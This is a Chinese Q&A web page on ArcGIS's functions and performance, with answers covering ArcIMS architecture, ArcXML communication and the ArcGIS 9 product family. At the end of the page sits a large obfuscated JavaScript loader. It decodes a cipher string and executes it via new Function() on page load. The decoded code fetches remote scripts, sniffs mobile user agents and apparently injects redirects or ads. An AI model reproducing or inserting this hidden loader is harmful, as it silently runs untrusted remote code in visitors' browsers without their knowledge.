ArcGIS地理信息系统平台的功能和性能?

2025-02-27 06:36:23
推荐回答(5个)
回答1:

ArcGIS 平台的功能是很强大的,这个就不用说了,可以在网上查询ArcGIS产品介绍,性能并不是很好,因为太庞大导致的,桌面启动有点慢,不过只要内存达到1G,运行是没问题的.
但是ArcGIS 9.3中的ArcGIS Server 9.3性能已经很不错了。

回答2:

功能很强大,毕竟esri是gis行业老大,软件的性能和其他gis软件相比要强大,使用各个组件对电脑的配置要求也是不一样的,cpu,内存对软件的性能影响比较大

回答3:

ArcGIS地理信息系统平台的功能最强大和性能最好的GIS平台,价格也很贵。

回答4:

http://www.gispower.org/article/arcgis/arcdesk/
以及
http://www.gispower.org/soft/gis/ESRI/Index.html
这里都有资料介绍。

回答5:

ArcIMS的定位是空间数据发布系统,虽然也可以做进一步定制和开发,但因为ArcIMS的定位,有些事情很难或无法实现,例如无法(很难)使用ArcIMS进行复杂的空间分析(嗯,可以调用AO或者MO,这个另当别论)。
ArcIMS和目前的ArcGIS Server不是一个基础,后者基于由COM实现的AO,不过由于ArcIMS任务单一,所以效率较高,而且可以跨平台(核心代码应该是ArcInfo时代的纯C++)。
Web服务器的Application Server Connector和ArcIMS的应用服务器(Application Server)的通信是基于Servlet发送ArcXML,因此需要安装Java环境和Servlet运行环境。ArcIMS的Author和Design、Administrator也是基于Java实现。
ArcIMS的几个主要部件:
Application Server Connectors,即ArcIMS定制开发的API,有Java、ActiveX、.net等API,但最终和Application Server通信,都需要将请求转换为ArcXML,由Servlet Connector发送给Application Server,这也是为什么ArcIMS需要一个Servlet运行环境的原因;
Application Server,应该是基于Java实现,主要用于维护Spatial Server的状态及其与Web服务器的交互。
Spatial Server,核心的地图渲染器,基于C++实现?主要用于根据请求渲染地图,即地图render。
ArcIMS的开发模式:
使用Author、Designer通过可视化方式来设计地图,发布,无须编程;
使用Connectors来开发,目前可以使用ASP、.net、Java等等方式来开发。
闲话,记得有过ArcView IMS,MO IMS的产品,没有使用过,应该是类似MapXtreme for Windows的产品,这个东东是基于MapX实现的,而MapXtreme.net和MapXtreme for Java则是比较纯粹的产品。
ArcIMS的核心是ArcXML,ArcXML是Web服务器的Application Server Connector,Application Server,Spatial Server之间的通讯协议(语言),其调用模式类似Web Service。

这个结构应该是在ArcIMS 3.0的时候就确定下来的,之后基本没有什么变化。ArcIMS 3.0的发布时间是2000年,而2000年正是3-tier架构开始成为主流的年代。

每层具体的说明可以查看ArcIMS的文档,早先的文档和资料一般把客户端归于表现层,Web Server、Application Server、Spatial Server归于逻辑层,空间数据归于数据层。其实与这些层次做一一对应也无大的必要。其中的Web Server及Application Server Connectors可以部署在一台计算机;Application Server可以部署在一台计算机;而Spatial Server可以部署于多台计算机,由Application Server管理;数据则可以是文件,SDE等格式。实际中,一般把Spatial Server安装于多台计算机,因为Spatial Server是整个系统中负荷最重的部分,执行了大部分的运算任务。

Application Server管理Spatial Server,处理ArcXML请求,并返回ArcXML的结果,对于不同的开发接口(Connector),或者也处理这样的XML,或者由 Connector封装了此类请求,然后在后台与Application Server交互。

运行于Application Server的地图服务(Service)是无状态的,也就是说他只是根据ArcXML请求,调度Spatial Server来不断的生成图片或者其他数据,然后以ArcXML的格式返回给Web Server的Application Server Connectors。因此,用户(地图)的状态,例如当前的缩放比例,位置等,或者在Web服务器端通过Seesion保留,或者在客户端通过某种方式保留(如表单的隐藏域,Url参数等等)。

开发模式与运行机制
使用ArcIMS的设计工具Author、Designer来编辑Axl定义文件,增加地图服务,定制Html客户端或者Java客户端,发布地图服务,这种开发模式都属于客户端处理模式;而使用ActiveX Connector,.Net Link的方式开发,则属于服务器端处理模式。这里的处理是指处理ArcXML。

这种模式下,客户端的请求已经是ArcXML格式封装的,然后由Web服务器委托Application Server Connectors处理,由于请求已经是ArcXML格式,Connector的任务只是简单的把请求转发给Application Server。

这种模式下,发送和返回请求都需要在客户端来处理,因此,ArcIMS的Html客户端的JS代码行数达到万行级别,也就不奇怪了。另外,返回和发送ArcXML,其中很多数据都是无关紧要或者不需要的,对于网络通信,也是一个负担。

得到服务器端返回的ArcXML后,客户端JS负责解析,然后再在服务器下载需要的图片,显示在客户端。

相关的代码在HtmlViewer的Javascript代码的aimsMap.js这个文件内,一般的地图操作设置参数后调用sendMapXML函数,然后此函数再调用sendToServer函数,最后由htmlSendToServer通过表单方式发送请求(没有使用XMLHttpRequest对象,所有XML操作都是由JS完成)。ArcIMS文档中的“Customizing_the_HTML_Viewer.pdf”中对 HtmlViewer的结构、运行原理、定制有详细的说明,可以作为参考。

对于ArcExplorer,JavaViewer等都是使用客户端处理模式。

在GIS发展的早期,专业人士主要关注于数据编辑或者集中于应用工程,以及主要把精力花费在创建GIS数据库并构造地理信息和知识。慢慢的,GIS的专业人士开始在大量的GIS应用中使用这些知识信息库。用户应用功能全面的GIS工作站来编辑地理数据集,建立数据编辑和质量控制的工作流,创建地图和分析模型并将这些工作和方法记录成文档。
这加强了GIS用户的传统观念,这些用户往往拥有连接在数据集和数据库上的专业工作站。这种工作站拥有复杂的GIS应用以及用来实现几乎所有GIS任务的逻辑和工具。
这种对GIS软件所处位置的看法已经被证明非常有价值,被约全球二十万组织中的GIS专业人士所接受。事实上,这种客户-服务器的计算模式是如此的成功以至于让许多人认为GIS只有这样的模式。但是,对GIS的观念在不断的扩展。
近期Internet的发展,DBMS技术的长足进步,面向对象编程语言,移动设备以及GIS的广泛使用已经促使GIS有更加开阔的前景和发挥更加重要的作用
除了GIS桌面产品,GIS软件可以被集中在应用服务器上和Web服务器上,把GIS的功能通过网络传递给任意多的用户;可以集中一些GIS逻辑,将其嵌入和部署在用户定制的应用中;为野外GIS业务在移动设备上部署GIS软件的应用也多了起来。
企业GIS用户使用传统高级的GIS桌面软件,使用Web浏览器,专门的应用程序移动计算设备以及其它数字化设备连接中心GIS服务器。GIS平台涉及的范围在不断的扩展。
ArcGIS产品线为用户提供一个可伸缩的,全面的GIS平台。
使用 ArcGIS 满足 GIS 用户所有的需求
ArcGIS作为一个可伸缩的平台,无论是在桌面,在服务器,在野外还是通过Web,为个人用户也为群体用户提供GIS的功能。ArcGIS 9是一个建设完整GIS的软件集合,它包含了一系列部署GIS的框架:
ArcGIS Desktop――一个专业GIS应用的完整套件
ArcGIS Engine――为定制开发GIS应用的嵌入式开发组件
服务端GIS――ArcSDE?,ArcIMS?和ArcGIS Server
移动GIS――ArcPad?以及为平板电脑使用的ArcGIS Desktop和Engine
ArcGIS是基于一套由共享GIS组件组成的通用组件库实现的,这些组件被称为ArcObjectsTM。
ArcObjects包含了大量的可编程组件,从细粒度的对象(例如,单个的几何对象)到粗粒度的对象(例如与现有ArcMap文档交互的地图对象)涉及面极广,这些对象为开发者集成了全面的GIS功能。每一个使用ArcObjects建成的ArcGIS产品都为开发者提供了一个应用开发的容器,包括桌面GIS(ArcGIS Desktop),嵌入式GIS(ArcGIS Engine)以及服务端GIS(ArcGIS Server)。关于ArcObjects开发的更详细的信息可以在http://arcgisdeveloperonline.esri.com中找到。
桌面 GIS
对于那些利用GIS信息进行编辑,设计的GIS专业人士来说,桌面GIS占有主导地位。GIS专业人士使用标准桌面作为工具来设计,共享,管理和发布地理信息。
ArcGIS Desktop是一个集成了众多高级GIS应用的软件套件,它包含了一套带有用户界面组件的Windows桌面应用(例如,ArcMap,ArcCatalogTM,ArcTooboxTM以及ArcGlobe)。ArcGIS Desktop具有三种功能级别――ArcView?,ArcEditorTM和ArcInfoTM,都可以使用各自软件包中包含的ArcGIS Desktop开发包进行客户化和扩展。
关于ArcGIS Desktop的更多的信息请参考第四章“桌面GIS:ArcView,ArcEditor,ArcInfo”。
上面的图形展示了使用 ArcGIS Desktop 的应用实例
服务端 GIS
GIS用户通过部署一个集中式的GIS服务器在大型组织之内以及Internet的用户之间发布和共享地理信息。服务端的GIS软件适用于任何集中执行GIS计算,并计划扩展支持GIS数据管理和空间处理的场合。除了为客户端提供地图和数据服务,GIS服务器还在一个共享的中心服务器上支持GIS工作站的所有功能,包括制图,空间分析,复杂空间查询,高级数据编辑,分布式数据管理,批量空间处理,空间几何完整性规则的实施等等。
ArcGIS服务器产品符合信息技术的标准规范,可以和其它企业级的软件完美的合作,例如Web服务器,数据库管理系统(DBMS)以及企业级的应用开发框架包括.NET和JAVA2企业级平台(J2EE)。这促使了GIS和其它大量的信息系统技术的整合。
ArcGIS 9所包含的三种服务端产品:
ArcSDE――一个在多种关系型数据库管理系统中管理地理信息的高级空间数据服务器。ArcSDE是一个位于ArcGIS其它软件产品和关系型数据库之间的数据服务器,其广泛的应用使得在跨任何网络的多个用户群体中共享空间数据库以及在任意大小的数据级别中伸缩成为可能。
ArcIMS――是一个可伸缩的,通过开放的Internet协议进行GIS地图,数据和元数据发布的地图服务器。ArcIMS已经在成千上万的应用中部署了,主要是为Web上的用户提供数据分发服务和地图服务。
ArcGIS Server――是一个应用服务器,包含了一套在企业和Web框架上建设服务端GIS应用的共享GIS软件对象库。ArcGIS Server是一个新产品,用于构建集中式的企业GIS应用,基于SOAP的Web services和Web应用。
要了解关于ArcGIS 9服务器产品的更多信息,请参考第五章,“服务端GIS:ArcSDE,ArcIMS和ArcGIS Server”。
GIS 将会利用 Internet 不断成长,并取得进一步的成功。 Internet 技术的
不断发展,如 Web services ,为 GIS 用户共享,地理信息的服务以及跨组织
的 GIS 互联提供了坚实的保障。
嵌入式 GIS
用户可以使用嵌入式的GIS,在所关注的应用中增加所选择的GIS组件,从而为组织的任何部门提供GIS的功能,这使得许多需要在日常工作中应用GIS作为一种工具的用户,可以通过简单的,集中于某些方面的界面来获取GIS的功能。例如,嵌入式的GIS应用帮助用户支持远程数据采集的工作,管理者的桌面上实现GIS,为系统操作人员实现定制界面,以及面向数据编辑的应用等。
ArcGIS Engine提供了一套应用于ArcGIS Desktop应用框架之外(例如制图对象作为ArcGIS Engine的一部分,而不是ArcMap的一部分)的嵌入式ArcGIS组件。使用ArcGIS Engine,开发者在C++,COM,.NET和Java环境中使用简单的接口获取任意GIS功能的组合来构建专门的GIS应用解决方案。
开发者通过ArcGIS Engine构建完整的客户化应用或者在现存的应用中(例如微软的Word或者Excel)嵌入GIS逻辑来部署定制的GIS应用,为多个用户分发面向GIS的解决方案。
使用 ArcGIS Engine 将 GIS 嵌入到你的应用中
移动GIS
依靠移动计算设备上的专业应用系统,GIS越来越多的从办公室中转移到野外。目前拥有GPS功能的无线移动设备被常常使用于野外专题数据获取和野外信息获取。消防员,垃圾收集员,工程检修员,测量员,公用设施施工工人,士兵,统计调查员,警察以及野外生物学家是使用移动GIS这个工具的一些野外工作者的代表。
一些野外工作任务需要相对简单的GIS工具,但也有些工作涉及到需要高级GIS工具的复杂操作。ArcGIS包含了能够满足两方面需求的应用。ArcPad是ArcGIS实现移动GIS和野外计算(如需要记录和登记突发性事故的空间信息)的解决方案,这些类型的工作可以在手持计算机设备(运行Microsoft Windows? CE或者Pocket PC)或者平板电脑上完成。ArcGIS Desktop和ArcGIS Engine集中于需要GIS分析和决策分析的野外工作任务,这种典型的任务往往在高端平板电脑上执行。
要更多的了解移动GIS的信息,请参考第七章“移动GIS:ArcPad及设备”。
你可以在野外实现 GIS
空间数据库( Geodatabase )
作为geographic database的简写,geodatabase是在专题图层和空间表达中组织GIS数据的核心地理信息模型。
Geodatabase是一套获取和管理GIS数据的全面的应用逻辑和工具。无论是客户端的应用(如ArcGIS Desktop),服务器配置(如ArcGIS Server),还是嵌入式的定制开发(ArcGIS Engine)都可以获取geodatabase的应用逻辑。
Geodatabase是一个基于GIS和DBMS标准的物理数据存储库,可以应用于多用户访问,个人DBMS以及XML。
Geodatabase原本被设计成一个开放的,简单几何图形的存储模型。Geodatabase对众多的存储机制开放,包括DBMS存储,文件型存储或者XML方法存储,并不局限于某个DBMS的供应商。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();